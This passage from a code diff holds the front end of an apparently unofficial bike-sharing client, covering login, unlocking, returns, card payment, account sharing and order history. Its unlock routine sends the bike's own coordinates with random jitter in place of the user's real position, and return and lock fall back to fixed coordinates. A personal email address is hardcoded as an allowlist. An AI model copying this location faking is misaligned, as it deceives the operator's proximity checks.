authToken = null; + currentUser = null; + localStorage.removeItem("auth_token"); + authKickToastShown = false; + _savedTokenExpiry = null; + renderAuthExpiryBanner(); // 登出后隐藏登录态到期提醒 + updateAuthButton(); + closeProfileModal(); + showToast("已登出"); + showLoginGate(); + const sb = document.getElementById("share-banners"); + if (sb) sb.innerHTML = ""; + shareAskQueue = []; + shareAskActive = false; + const askModal = document.getElementById("share-ask-modal"); + if (askModal) askModal.classList.remove("show"); + } + + function updateAuthButton() { + const btn = document.getElementById("auth-btn"); + const btnText = document.getElementById("auth-btn-text"); + const avatar = document.getElementById("auth-avatar"); + + if (currentUser) { + btn.classList.add("logged-in"); + btnText.style.display = "none"; + avatar.style.display = "flex"; + avatar.textContent = currentUser.email.charAt(0).toUpperCase(); + } else { + btn.classList.remove("logged-in"); + btnText.style.display = "inline"; + avatar.style.display = "none"; + btnText.textContent = "登录"; + } + updateBellBtnVisibility(); + } + + // ========== 批量寻铃入口权限 ========== + // 仅指定用户可见/可用;服务端 /api/ring_all 同步校验 + const BATCH_RING_ALLOWED_EMAILS = ["3146527494@qq.com"]; + function canUseBatchRing() { + return !!(currentUser && BATCH_RING_ALLOWED_EMAILS.includes((currentUser.email || "").toLowerCase())); + } + function updateBellBtnVisibility() { + const btn = document.getElementById("bell-btn"); + if (btn) btn.style.display = canUseBatchRing() ? "flex" : "none"; + } + + async function checkAuthStatus() { + if (!authToken) return; + + try { + const resp = await fetch("/api/auth/status", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + + if (data.rtn_code === 0 && data.data.logged_in) { + currentUser = { email: data.data.email }; + updateAuthButton(); + } else { + // token无效(可能被本设备或其他设备下线),清除登录状态 + const hadToken = !!authToken; + authToken = null; + currentUser = null; + localStorage.removeItem("auth_token"); + updateAuthButton(); + if (hadToken && !authKickToastShown) { + authKickToastShown = true; + showToast("登录状态已失效,请重新登录"); + showLoginGate(); + } + } + } catch (err) { + console.error("检查登录状态失败:", err); + } + } + + // ========== 订单状态检测 ========== + let currentOrder = null; // 当前订单信息 + + async function checkOrderStatus() { + if (!authToken) { + hideOrderBanner(); + return; + } + + try { + const resp = await fetch("/api/order/status", { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + + if (data.rtn_code === 0) { + if (!data.has_credentials) { + // 用户没有配置凭据 + hideOrderBanner(); + return; + } + + if (data.has_order && data.order) { + currentOrder = data.order; + // 仅当“当前微信订单本身就是我共享出去的这笔订单”时隐藏普通横幅。 + // 骑行者自己账号另有待支付/进行中订单时,必须与借用中的共享横幅同时保留。 + if (data.order.shared) { + hideOrderBanner(); + } else { + showOrderBanner(data.order); + } + } else { + currentOrder = null; + hideOrderBanner(); + } + } else if (data.rtn_code === 102001 || data.token_invalid) { + // token_id 已失效(小程序重新登录会踢掉旧会话):弹窗引导重新配置(带冷却,避免每20秒轮询骚扰) + notifyCredentialInvalid(data.message); + } + } catch (err) { + console.error("检查订单状态失败:", err); + } + } + + function showOrderBanner(order) { + const banner = document.getElementById("order-banner"); + const icon = document.getElementById("order-banner-icon"); + const text = document.getElementById("order-banner-text"); + const btn = document.getElementById("order-banner-btn"); + + banner.classList.remove("warning", "riding"); + + if (Number(order.status) === 1) { + // 待支付 + banner.classList.add("warning"); + icon.innerHTML = ''; + text.textContent = `待支付订单 #${order.code || order.order_id.slice(-6)}`; + btn.textContent = "去支付"; + hideOrderCountdown(); + } else if (Number(order.status) === 2) { + // 进行中 - 获取倒计时 + banner.classList.add("riding"); + icon.innerHTML = ''; + if (order.shared) { + const sName = partnerLabel(order.shared.rider_name, order.shared.rider_email, order.shared.remark); + text.textContent = ("共享中 #" + (order.code || order.order_id.slice(-6)) + " · " + sName + "使用中"); +} else { + text.textContent = `进行中 #${order.code || order.order_id.slice(-6)}`; + } + btn.textContent = "还车"; + // 从后端获取剩余时间并启动倒计时 + fetchOrderCountdown(order.order_id); + } + + banner.classList.add("show"); + } + + let orderCountdownTimer = null; + let orderCountdownSeconds = 0; + + function fetchOrderCountdown(orderId) { + if (!authToken || !orderId) return; + + fetch(`/api/rental/status?order_id=${encodeURIComponent(orderId)}`, { + headers: { "Authorization": `Bearer ${authToken}` } + }) + .then(r => r.json()) + .then(data => { + if (data.rtn_code === 0 && data.data && data.data.active) { + orderCountdownSeconds = data.data.remaining_seconds; + // 多轮适配:展示计划总轮数与最终预计还车时间 + const finalEl = document.getElementById("order-final-time"); + const addBtn = document.getElementById("order-banner-add-round-btn"); + if (finalEl) { + if (data.data.final_end_time && data.data.total_rounds > data.data.current_round) { + const hhmm = String(data.data.final_end_time).slice(11, 16); + finalEl.textContent = `共${data.data.total_rounds}轮 · 预计${hhmm}还车`; + finalEl.style.display = "inline"; + } else { + finalEl.style.display = "none"; + } + } + if (addBtn) { + // 真实订单才可加轮; reminder 计时不显示 + const eligible = data.data.order_id && String(data.data.source) !== "reminder"; + addBtn.style.display = eligible ? "inline-block" : "none"; + } + showOrderCountdown(); + startOrderCountdown(); + } + }) + .catch(err => console.error("获取倒计时失败:", err)); + } + + function showOrderCountdown() { + const el = document.getElementById("order-countdown"); + el.style.display = "inline"; + updateOrderCountdownText(); + } + + function hideOrderCountdown() { + const el = document.getElementById("order-countdown"); + el.style.display = "none"; + if (orderCountdownTimer) { + clearInterval(orderCountdownTimer); + orderCountdownTimer = null; + } + } + + function updateOrderCountdownText() { + const el = document.getElementById("order-countdown"); + const remaining = Math.max(0, orderCountdownSeconds); + const mins = Math.floor(remaining / 60); + const secs = remaining % 60; + el.textContent = `${mins}:${secs.toString().padStart(2, "0")}`; + + // 变色提示 + if (remaining <= 60) { + el.style.color = "#ff3b30"; + } else if (remaining <= 300) { + el.style.color = "#ffcc00"; + } else { + el.style.color = "white"; + } + } + + function startOrderCountdown() { + if (orderCountdownTimer) clearInterval(orderCountdownTimer); + orderCountdownTimer = setInterval(() => { + orderCountdownSeconds--; + updateOrderCountdownText(); + if (orderCountdownSeconds <= 0) { + clearInterval(orderCountdownTimer); + // 倒计时结束,刷新订单状态 + checkOrderStatus(); + } + }, 1000); + } + + function hideOrderBanner() { + document.getElementById("order-banner").classList.remove("show"); + hideOrderCountdown(); + closeOrderActionsModal(); + } + + function isOrderActionEligible(order) { + if (!order) return false; + const type = String(order.type || "").toLowerCase(); + const source = String(order.source || "").toLowerCase(); + return type !== "reminder" && source !== "reminder"; + } + + function handleOrderBannerSurfaceClick(event) { + // 横幅右侧已有的两个按钮继续走原有行为,不触发全屏面板。 + if (event && event.target && event.target.closest && event.target.closest("button")) return; + if (!isOrderActionEligible(currentOrder)) return; + showOrderActionsModal(); + } + + function showOrderActionsModal() { + if (!isOrderActionEligible(currentOrder)) return; + + const modal = document.getElementById("order-actions-modal"); + const meta = document.getElementById("order-actions-meta"); + const status = document.getElementById("order-actions-status"); + const hint = document.getElementById("order-actions-hint"); + const code = currentOrder.code || currentOrder.order_id || "未知"; + const pending = Number(currentOrder.status) === 1; + + meta.textContent = `车辆 #${code}`; + status.textContent = pending ? "待支付订单" : "订单进行中"; + status.classList.toggle("warning", pending); + status.classList.toggle("riding", !pending); + hint.textContent = pending + ? "当前订单尚未支付,请先完成支付后再使用车辆操作。" + : "临时锁车不会结束订单,确认车辆停放安全后再操作。"; + + // 待支付订单明确不展示临时锁车/临时开车。 + ["order-action-lock", "order-action-unlock"].forEach(id => { + const button = document.getElementById(id); + if (button) button.style.display = pending ? "none" : "flex"; + }); + const pay = document.getElementById("order-action-pay"); + const ret = document.getElementById("order-action-return"); + if (pay) pay.style.display = pending ? "flex" : "none"; + if (ret) ret.style.display = pending ? "none" : "flex"; + + modal.classList.add("show"); + modal.setAttribute("aria-hidden", "false"); + document.body.classList.add("order-actions-open"); + window.setTimeout(() => document.getElementById("order-actions-close")?.focus(), 0); + } + + function closeOrderActionsModal() { + const modal = document.getElementById("order-actions-modal"); + if (!modal) return; + modal.classList.remove("show"); + modal.setAttribute("aria-hidden", "true"); + document.body.classList.remove("order-actions-open"); + } + + function viewBikeDetailFromOrderModal() { + closeOrderActionsModal(); + viewBikeDetailFromOrder(); + } + + async function findCurrentOrderBike() { + if (!isOrderActionEligible(currentOrder)) return; + const code = (currentOrder.code || "").toString().trim(); + if (!code) { + showToast("该订单没有车牌信息"); + return; + } + + const button = document.getElementById("order-action-find"); + if (button) { + button.disabled = true; + button.querySelector("strong").textContent = "发送中..."; + } + + try { + const data = await _doFindBikeRequest(code); + if (data && (data.rtn_code === 0 || data.success)) { + showToast("寻车指令已发送,请听声音"); + } else { + showToast((data && data.message) || "寻车失败"); + } + } catch (err) { + console.error("订单寻车失败:", err); + showToast("寻车失败,请重试"); + } finally { + if (button) { + button.disabled = false; + button.querySelector("strong").textContent = "寻车"; + } + } + } + + function payCurrentOrderFromModal() { + closeOrderActionsModal(); + tryCardPayOrRedirect(); + } + + function returnCurrentOrderFromModal() { + closeOrderActionsModal(); + showReturnConfirm(); + } + + function handleOrderBannerClick() { + if (!currentOrder) { + showToast("订单状态已变化,正在刷新,请稍后重试"); + checkOrderStatus(); + return; + } + + if (Number(currentOrder.status) === 1) { + // 待支付 - 先检查是否有月卡/周卡 + tryCardPayOrRedirect(); + } else if (Number(currentOrder.status) === 2) { + // 进行中 - 显示还车确认弹窗 + showReturnConfirm(); + } else { + showToast("订单状态已变化,正在刷新,请稍后重试"); + checkOrderStatus(); + } + } + + // 查看详情:等同在搜索框输入当前订单车牌并点击查询,直接弹出车辆详情 + function viewBikeDetailFromOrder() { + if (!currentOrder) { showToast("当前没有进行中的订单"); return; } + const code = (currentOrder.code || "").toString().trim(); + if (!code) { showToast("该订单没有车牌信息"); return; } + document.getElementById("scan-input").value = code; + scanCode(); + } + + document.addEventListener("keydown", event => { + if (event.key !== "Escape") return; + // 确认弹窗优先响应 ESC(原生壳没有系统对话框,全靠页面内弹窗) + const _cm = document.getElementById("app-confirm-modal"); + if (_cm && _cm.classList.contains("show")) { appConfirmClose(); return; } + const _arm = document.getElementById("add-round-modal"); + if (_arm && _arm.classList.contains("show")) { closeAddRoundModal(); return; } + const _oam = document.getElementById("order-actions-modal"); + if (_oam && _oam.classList.contains("show")) { closeOrderActionsModal(); return; } + }); + + // ========== 月卡/周卡自动支付 ========== + let cardPayLoading = false; + + async function tryCardPayOrRedirect() { + if (cardPayLoading || !currentOrder) return; + + const btn = document.getElementById("order-banner-btn"); + cardPayLoading = true; + btn.textContent = "检测中…"; + btn.disabled = true; + + try { + // 1. 查询可用支付方式 + const methodsResp = await fetch( + `/api/order/pay_methods?code=${encodeURIComponent(currentOrder.code || "")}`, + { headers: { "Authorization": `Bearer ${authToken}` } } + ); + const methodsData = await methodsResp.json(); + + if (methodsData.rtn_code !== 0) { + // 接口失败,降级提示跳转 + showToast("请到小白超人小程序支付订单"); + return; + } + + const cardMethods = methodsData.data?.card_methods || []; + + if (cardMethods.length === 0) { + // 没有月卡/周卡 → 原来逻辑 + showToast("未找到月卡,请到小白超人小程序支付"); + return; + } + + // 2. 优先选 get_type=2(推荐/激活)的卡,否则取第一个 + const preferred = cardMethods.find(m => m.get_type === 2) || cardMethods[0]; + const cardTypeName = preferred.type === "3" || preferred.type === 3 ? "月卡" : "周卡"; + + // 3. 更新按钮状态 + btn.textContent = `${cardTypeName}支付中…`; + + // 4. 调用月卡支付接口 + const payResp = await fetch("/api/order/pay_with_card", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + }, + body: JSON.stringify({ + order_id: currentOrder.order_id, + code: currentOrder.code || "", + type: String(preferred.type), + package_id: String(preferred.package_id) + }) + }); + const payData = await payResp.json(); + + if (payData.rtn_code === 0 && payData.data?.paid) { + // 月卡支付成功 + showToast(`${cardTypeName}支付成功 ✓`); + currentOrder = null; + hideOrderBanner(); + refreshMap(); + } else if (payData.rtn_code === 0 && payData.data?.need_wechat_pay) { + // 月卡不足,需要微信支付 + showToast("月卡余额不足,请到小白超人小程序完成支付"); + } else { + showToast(payData.message || "支付失败,请到小白超人小程序支付"); + } + + } catch (err) { + console.error("月卡支付失败:", err); + showToast("请到小白超人小程序支付订单"); + } finally { + cardPayLoading = false; + btn.textContent = "去支付"; + btn.disabled = false; + } + } + + // ========== 还车确认 ========== + let returnLoading = false; + let pendingReturnOrder = null; + + async function getOrderOperationLocation() { + let position = null; + if (navigator.geolocation) { + position = await new Promise(resolve => { + navigator.geolocation.getCurrentPosition( + pos => resolve(pos), + err => { + console.error("获取位置失败:", err); + resolve(null); + }, + { timeout: 5000 } + ); + }); + } + + const latitude = Number.isFinite(position?.coords?.latitude) + ? position.coords.latitude : 36.67; + const longitude = Number.isFinite(position?.coords?.longitude) + ? position.coords.longitude : 116.98; + return { latitude, longitude }; + } + + function showReturnConfirm() { + if (returnLoading) return; + if (!currentOrder || Number(currentOrder.status) !== 2) { + showToast("当前没有可还车的进行中订单,正在刷新"); + checkOrderStatus(); + return; + } + pendingReturnOrder = { ...currentOrder }; + document.getElementById("return-confirm-text").textContent = + `车辆 #${currentOrder.code || currentOrder.order_id} 正在骑行,确认要还车吗?`; + document.getElementById("return-confirm-modal").classList.add("show"); + document.getElementById("return-confirm-btn").disabled = false; + document.getElementById("return-confirm-btn").textContent = "确认还车"; + } + + function closeReturnConfirm() { + document.getElementById("return-confirm-modal").classList.remove("show"); + pendingReturnOrder = null; + } + + async function doReturnBike() { + if (returnLoading) return; + const order = pendingReturnOrder; + if (!order) { + showToast("请重新点击还车并确认订单"); + return; + } + + returnLoading = true; + const btn = document.getElementById("return-confirm-btn"); + btn.disabled = true; + btn.textContent = "还车中..."; + + try { + // 还车和临时锁车共用同一套当前位置获取逻辑。 + const { latitude, longitude } = await getOrderOperationLocation(); + + const resp = await fetch("/api/order/return", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + }, + body: JSON.stringify({ + order_id: order.order_id, + code: order.code, + latitude: latitude, + longitude: longitude + }) + }); + + const data = await resp.json(); + + if (data.rtn_code === 0) { + let msg = data.used_nearest ? "还车成功(已切换至最近停车点)" : "还车成功"; + // 显示月卡支付结果 + if (data.card_pay) { + msg += data.card_pay.success ? `,${data.card_pay.message}` : `,${data.card_pay.message}`; + } + showToast(msg); + closeReturnConfirm(); + if (!currentOrder || String(currentOrder.order_id) === String(order.order_id)) { + currentOrder = null; + hideOrderBanner(); + } + // 刷新地图 + refreshMap(); + refreshShareBanners(); + } else { + showToast(data.message || "还车失败"); + } + } catch (err) { + showToast("还车失败,请重试"); + } finally { + returnLoading = false; + btn.disabled = false; + btn.textContent = "确认还车"; + } + } + + let orderTempActionLoading = false; + + async function tempLockCurrentOrder() { + if (orderTempActionLoading || !isOrderActionEligible(currentOrder) || Number(currentOrder.status) !== 2) return; + const button = document.getElementById("order-action-lock"); + orderTempActionLoading = true; + if (button) { + button.disabled = true; + button.querySelector("strong").textContent = "锁车中..."; + } + + try { + const { latitude, longitude } = await getOrderOperationLocation(); + const resp = await fetch("/api/order/temp_lock", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + }, + body: JSON.stringify({ + order_id: currentOrder.order_id, + code: currentOrder.code, + latitude, + longitude + }) + }); + const data = await resp.json(); + if (data.rtn_code === 0) { + showToast(data.used_nearest ? "临时锁车成功(已切换至最近停车点)" : "临时锁车成功"); + const status = document.getElementById("order-actions-status"); + if (status) status.textContent = "车辆已临时锁定,订单仍在进行中"; + } else { + showToast(data.message || "临时锁车失败"); + } + } catch (err) { + console.error("临时锁车失败:", err); + showToast("临时锁车失败,请重试"); + } finally { + orderTempActionLoading = false; + if (button) { + button.disabled = false; + button.querySelector("strong").textContent = "临时锁车"; + } + } + } + + async function tempUnlockCurrentOrder() { + if (orderTempActionLoading || !isOrderActionEligible(currentOrder) || Number(currentOrder.status) !== 2) return; + const button = document.getElementById("order-action-unlock"); + orderTempActionLoading = true; + if (button) { + button.disabled = true; + button.querySelector("strong").textContent = "开车中..."; + } + + try { + const resp = await fetch("/api/order/temp_unlock", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + }, + body: JSON.stringify({ order_id: currentOrder.order_id }) + }); + const data = await resp.json(); + if (data.rtn_code === 0) { + showToast(data.message || "临时开车成功"); + const status = document.getElementById("order-actions-status"); + if (status) status.textContent = "车辆正在解锁,请稍候"; + } else { + showToast(data.message || "临时开车失败"); + } + } catch (err) { + console.error("临时开车失败:", err); + showToast("临时开车失败,请重试"); + } finally { + orderTempActionLoading = false; + if (button) { + button.disabled = false; + button.querySelector("strong").textContent = "临时开车"; + } + } + } + + // ========== 一键开锁 ========== + let unlockPendingCode = null; // 待开锁的车牌 + let unlockPendingPosition = null; // 待开锁的位置 + + function handleQuickUnlock() { + const qrBox = document.getElementById("qrcode-box"); + const code = qrBox.dataset.bikeCode; + + if (!code) { + showToast("无法获取车辆编码"); + return; + } + + if (!currentUser) { + showToast("请先登录"); + return; + } + + // 保存待开锁信息(用车辆自身坐标 + 随机抖动 ±0.0001,不依赖用户真实定位) + const baseLat = parseFloat(selectedBike?.latitude) || 36.67; + const baseLng = parseFloat(selectedBike?.longitude) || 116.98; + const jit = 0.0001; + unlockPendingCode = code; + unlockPendingPosition = { + lat: baseLat + (Math.random() * 2 - 1) * jit, + lng: baseLng + (Math.random() * 2 - 1) * jit + }; + + // 有共享绑定 → 先选开锁账号;否则直接确认 + openUnlockAccountChooser(); + } + + // ===== 开锁账号选择(自己 / 共享者列表) ===== + let unlockChoice = { mode: "own", owner_user_id: null, owner_email: null, owner_display: "" }; + let unlockSrcList = []; + let unlockSrcShowAll = false; + + function openUnlockAccountChooser() { + unlockChoice = { mode: "own", owner_user_id: null, owner_email: null, owner_display: "" }; + unlockSrcShowAll = false; + if (!authToken || !currentUser) { proceedToUnlockConfirm(); return; } + fetch("/api/share/sources", { headers: { "Authorization": "Bearer " + authToken } }) + .then(r => r.json()) + .then(data => { + if (data.rtn_code !== 0 || !data.data) { proceedToUnlockConfirm(); return; } + const d = data.data; + if (!d.has_any) { proceedToUnlockConfirm(); return; } + renderUnlockSrcList(d); + document.getElementById("unlock-src-modal").classList.add("show"); + }) + .catch(() => proceedToUnlockConfirm()); + } + + function renderUnlockSrcList(d) { + const box = document.getElementById("unlock-src-list"); + let html = ""; + html += ''; + const srcs = d.sources || []; + unlockSrcList = srcs.slice(); + if (srcs.length === 0 && d.hidden_count > 0) { + html += ''; + } + srcs.forEach(s => { + const dis = s.can_use ? "" : "unavailable"; + const tagTxt = s.can_use ? ("剩余可用 " + s.remaining_today + " 次") : (s.reasons && s.reasons.length ? s.reasons.join(" / ") : "不可用"); + const label = partnerLabel(s.owner_name, s.owner_email, s.remark); + html += ''; + }); + if (d.hidden_count > 0) { + html += '还有 ' + d.hidden_count + ' 位共享者今日次数已用完(点击查看)'; + } + box.innerHTML = html; + } + + function loadUnlockSrcShowAll() { + unlockSrcShowAll = true; + fetch("/api/share/sources?show_unavailable=1", { headers: { "Authorization": "Bearer " + authToken } }) + .then(r => r.json()) + .then(data => { if (data.rtn_code === 0) renderUnlockSrcList(data.data); }); + } + + function chooseUnlockSrc(ownerId) { + ownerId = ownerId || 0; + const rec = unlockSrcList.find(x => Number(x.owner_user_id) === Number(ownerId)); + if (ownerId && !rec) { closeUnlockSrc(); return; } + unlockChoice = rec + ? { mode: "shared", owner_user_id: rec.owner_user_id, owner_email: rec.owner_email, + owner_display: partnerLabel(rec.owner_name, rec.owner_email, rec.remark) } + : { mode: "own", owner_user_id: null, owner_email: null, owner_display: "" }; + closeUnlockSrc(); + proceedToUnlockConfirm(); + } + + function closeUnlockSrc() { + document.getElementById("unlock-src-modal").classList.remove("show"); + } + + function proceedToUnlockConfirm() { + if (!unlockPendingCode) return; + const btn = document.getElementById("unlock-confirm-btn"); + btn.disabled = false; + btn.textContent = unlockChoice.mode === "shared" + ? ("确认用 " + (unlockChoice.owner_display || "对方") + " 的共享开锁") + : "确认开锁"; + // 开锁前预览:月卡余量 + 自动续租轮次预估(共享单用车主的卡) + loadUnlockPreview(unlockPendingCode, + unlockChoice.mode === "shared" ? unlockChoice.owner_user_id : null); + document.getElementById("unlock-confirm-modal").classList.add("show"); + } + + function closeUnlockConfirm() { + document.getElementById("unlock-confirm-modal").classList.remove("show"); + unlockPendingCode = null; + unlockPendingPosition = null; + } + + async function doUnlockBike() { + if (!unlockPendingCode || !authToken) { + closeUnlockConfirm(); + return; + } + + const btn = document.getElementById("unlock-confirm-btn"); + btn.disabled = true; + btn.textContent = "开锁中..."; + const isShared = unlockChoice && unlockChoice.mode === "shared"; + + try { + const payload = { + code: unlockPendingCode, + latitude: unlockPendingPosition.lat, + longitude: unlockPendingPosition.lng + }; + if (isShared) payload.owner_user_id = unlockChoice.owner_user_id; + + const resp = await fetch(isShared ? "/api/order/shared_unlock" : "/api/order/unlock", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + }, + body: JSON.stringify(payload) + }); + const data = await resp.json(); + console.log("[开锁] 响应:", data); + + closeUnlockConfirm(); + + if (data.rtn_code === 0) { + showToast(data.message || "开锁成功!"); + closeQrModal(); + + if (isShared) { + // 共享开锁:横幅由后端订单状态驱动,不启动本地计时 + refreshShareBanners(); + checkOrderStatus(); + } else { + // 启动前端计时器;end_time/轮次预估取自后端开锁响应 + const _ud = data.data || {}; + startRentalFromServer(data.order_id, unlockPendingCode, 19, + _ud.end_time, _ud); + // 刷新订单状态 + checkOrderStatus(); + } + } else if (data.need_pay) { + // 未支付订单月卡也付不了 → 提示用户并刷新订单横幅 + showToast(data.message || "存在未支付订单,请先支付"); + checkOrderStatus(); // 刷新横幅显示待支付 + } else { + showToast(data.message || "开锁失败"); + } + } catch (err) { + console.error("[开锁] 请求失败:", err); + showToast("开锁失败,请重试"); + } finally { + btn.disabled = false; + btn.textContent = isShared ? "确认共享开锁" : "确认开锁"; + unlockPendingCode = null; + unlockPendingPosition = null; + unlockChoice = { mode: "own", owner_user_id: null, owner_email: null }; + } + } + + async function quickUnlock(code, latitude, longitude) { + if (!authToken) { + showToast("请先登录"); + return; + } + + try { + const resp = await fetch("/api/order/unlock", { + method: "POST", + headers: { + "Authorization": `Bearer ${authToken}`, + "Content-Type": "application/json" + }, + body: JSON.stringify({ + code: code, + latitude: latitude, + longitude: longitude + }) + }); + const data = await resp.json(); + console.log("[开锁] 响应:", data); // 调试日志 + + if (data.rtn_code === 0) { + showToast(data.message || "开锁成功!"); + closeQrModal(); + + // 启动前端计时器;end_time/轮次预估取自后端开锁响应 + const _qd = data.data || {}; + startRentalFromServer(data.order_id, code, 19, _qd.end_time, _qd); + + // 刷新订单状态 + checkOrderStatus(); + } else { + showToast(data.message || "开锁失败"); + } + } catch (err) { + console.error("[开锁] 请求失败:", err); // 调试日志 + showToast("开锁失败,请重试"); + } + } + + // 从后端计时器启动前端计时器(隐藏横幅,由后端控制邮件通知) + function startRentalFromServer(rentalId, bikeCode, durationMinutes, endTime, summary) { + // 启动本地计时器(不显示横幅,由后端统一管理) + const remaining = durationMinutes * 60; + activeRental = { + rental_id: rentalId, + bike_code: bikeCode, + remaining_seconds: remaining, + source: "unlock", // 网页开锁 → 真实订单,+1轮可用 + end_time: endTime || null, + final_end_time: (summary && summary.final_end_time) || endTime || null, + current_round: (summary && summary.current_round) || 1, + total_rounds: (summary && summary.total_rounds) || null, + auto_return: true + }; + localStorage.setItem(RENTAL_KEY, JSON.stringify(activeRental)); + + // 启动倒计时更新(每秒) + if (rentalCountdownTimer) clearInterval(rentalCountdownTimer); + rentalCountdownTimer = setInterval(() => { + if (activeRental && activeRental.remaining_seconds > 0) { + activeRental.remaining_seconds--; + localStorage.setItem(RENTAL_KEY, JSON.stringify(activeRental)); + + // 到期动作由后端依据订单类型及用户设置执行 + // 这里不需要做任何操作 + } + }, 1000); + } + + // ========== 忘记密码 ========== + // 忘记密码可从两处打开:弹窗登录(login-modal)与全屏登录门(login-gate)。 + // 用 _forgotFromGate 记住入口,重置成功后回到原处,避免用户被"换页面"。 + let _forgotFromGate = false; + function showForgotModal() { + _forgotFromGate = false; + closeAllModals(); + document.getElementById("forgot-modal").classList.add("show"); + } + function showForgotFromGate() { + _forgotFromGate = true; + closeAllModals(); + // 带上登录门里已填的邮箱,省去用户重复输入 + const field = document.getElementById("gate-email"); + const emailInput = document.getElementById("forgot-email"); + if (field && emailInput && field.value.trim() && !emailInput.value.trim()) { + emailInput.value = field.value.trim(); + } + document.getElementById("forgot-modal").classList.add("show"); + } + function closeForgotModal() { + document.getElementById("forgot-modal").classList.remove("show"); + document.getElementById("forgot-tip").textContent = ""; + _forgotFromGate = false; + } + function backToLoginFromForgot() { + const fromGate = _forgotFromGate; + closeForgotModal(); + if (fromGate) showLoginGate(); + else showLoginModal(); + } + let forgotTimer = null; + function setForgotCodeBtn(seconds) { + const btn = document.getElementById("forgot-code-btn"); + if (forgotTimer) { clearInterval(forgotTimer); forgotTimer = null; } + if (seconds > 0) { + btn.disabled = true; + btn.textContent = `${seconds}s 后重发`; + forgotTimer = setInterval(() => { + seconds--; + if (seconds <= 0) { + clearInterval(forgotTimer); forgotTimer = null; + btn.disabled = false; btn.textContent = "发送验证码"; + } else { + btn.textContent = `${seconds}s 后重发`; + } + }, 1000); + } else { + btn.disabled = false; btn.textContent = "发送验证码"; + } + } + async function sendForgotCode() { + const email = document.getElementById("forgot-email").value.trim(); + const tip = document.getElementById("forgot-tip"); + if (!email) { tip.textContent = "请先填写注册邮箱"; return; } + tip.textContent = "发送中..."; + try { + const resp = await fetch("/api/auth/send_code", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ email: email, purpose: "reset" }) + }); + const data = await resp.json(); + tip.textContent = data.message || ""; + if (data.rtn_code === 0) setForgotCodeBtn(60); + } catch (err) { + tip.textContent = "发送失败,请检查网络"; + } + } + async function handleForgotSubmit(event) { + event.preventDefault(); + const email = document.getElementById("forgot-email").value.trim(); + const code = document.getElementById("forgot-code").value.trim(); + const password = document.getElementById("forgot-password").value; + const tip = document.getElementById("forgot-tip"); + if (password.length < 6) { tip.textContent = "新密码至少 6 位"; return; } + tip.textContent = "提交中..."; + try { + const resp = await fetch("/api/auth/reset_password", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ email: email, code: code, password: password }) + }); + const data = await resp.json(); + tip.textContent = data.message || ""; + if (data.rtn_code === 0) { + // 回到用户进来的那个登录界面:登录门 → 回登录门;弹窗 → 回登录弹窗 + const fromGate = _forgotFromGate; + setTimeout(() => { + closeForgotModal(); + if (fromGate) { + showLoginGate(); + const gateEmail = document.getElementById("gate-email"); + const gatePwd = document.getElementById("gate-password"); + if (gateEmail) gateEmail.value = email; + if (gatePwd) { gatePwd.value = ""; gatePwd.focus(); } + } else { + showLoginModal(); + document.getElementById("login-email").value = email; + } + }, 900); + } + } catch (err) { + tip.textContent = "提交失败,请检查网络"; + } + } + + // ========== 订单历史(我的 → 订单历史) ========== + function fmtDuration(seconds) { + if (seconds === null || seconds === undefined) return "--"; + const mins = Math.round(seconds / 60); + if (mins < 60) return `${mins} 分钟`; + return `${Math.floor(mins / 60)} 小时 ${mins % 60} 分钟`; + } + function fmtOrderTime(s) { + if (!s) return "--"; + return String(s).replace("T", " ").slice(5, 16); // MM-DD HH:MM + } + function fmtClock(s) { + if (!s) return "--"; + return String(s).slice(11, 16); // HH:MM + } + function orderCardHtml(o) { + const badge = o.returned + ? '已完成' + : '进行中'; + const sharedRow = o.shared + ? `
${o.role === "owner" ? "共享给" : "使用"} ${escHtml(o.partner || "--")} 的车
` : ""; + // 多轮续租合并显示:共 N 轮 · 总用时 · 起止时钟 + const roundsRow = (o.rounds && o.rounds > 1) + ? `
共 ${o.rounds} 轮 · 总用时 ${fmtDuration(o.duration_seconds)}
` : ""; + const timeRow = `${fmtOrderTime(o.start_time)} ${fmtClock(o.start_time)} → ${fmtOrderTime(o.end_time)} ${fmtClock(o.end_time)}`; + return ` +
+
+ #${escHtml(o.bike_code)} + + ${o.duration_seconds !== null ? fmtDuration(o.duration_seconds) : ""} + ${badge} + +
+
+
${timeRow}
+
${escHtml(o.start_label || "起点未知")} → ${escHtml(o.end_label || (o.returned ? "终点未知" : "骑行中"))}
+ ${roundsRow} + ${sharedRow} +
+
+ +
+
`; + } + // ========== 订单骑行轨迹 ========== + let orderTrajMap = null; + let orderTrajOverlays = []; + async function openOrderTrajectory(rentalId){ + SettingsPages.open("order-traj-modal"); + document.getElementById("order-traj-summary").textContent = "加载轨迹中..."; + document.getElementById("order-traj-hint").textContent = "轨迹来自每 5-10 分钟一次的车辆定位采集。"; + try{ + const resp = await fetch(`/api/user/orders/trajectory?rental_id=${encodeURIComponent(rentalId)}`, { + headers: { "Authorization": `Bearer ${authToken}` } + }); + const data = await resp.json(); + if (data.rtn_code !== 0) { + document.getElementById("order-traj-summary").textContent = data.message || "轨迹加载失败"; + return; + } + renderOrderTrajectory(data.data); + }catch(e){ + document.getElementById("order-traj-summary").textContent = "网络错误,请重试"; + } + } + function closeOrderTrajModal(){ + SettingsPages.back(); + // 保留地图实例,下次复用;只清理覆盖物 + if (orderTrajMap) { + try { orderTrajMap.clearOverlays(); } catch(e) {} + } + orderTrajOverlays = []; + } + function renderOrderTrajectory(t){ + const pts = t.points || []; + // textContent 不解析 HTML,这里不能用 escHtml(会把 & 显示成 &) + document.getElementById("order-traj-summary").textContent = + `#${t.bike_code} · ${fmtOrderTime(t.start_time)} → ${fmtOrderTime(t.end_time)} · ` + + `${t.start_label || "起点未知"} → ${t.end_label || (t.returned ? "终点未知" : "骑行中")}`; + + const initMap = () => { + if (!orderTrajMap) { + orderTrajMap = new BMapGL.Map("order-traj-map"); + 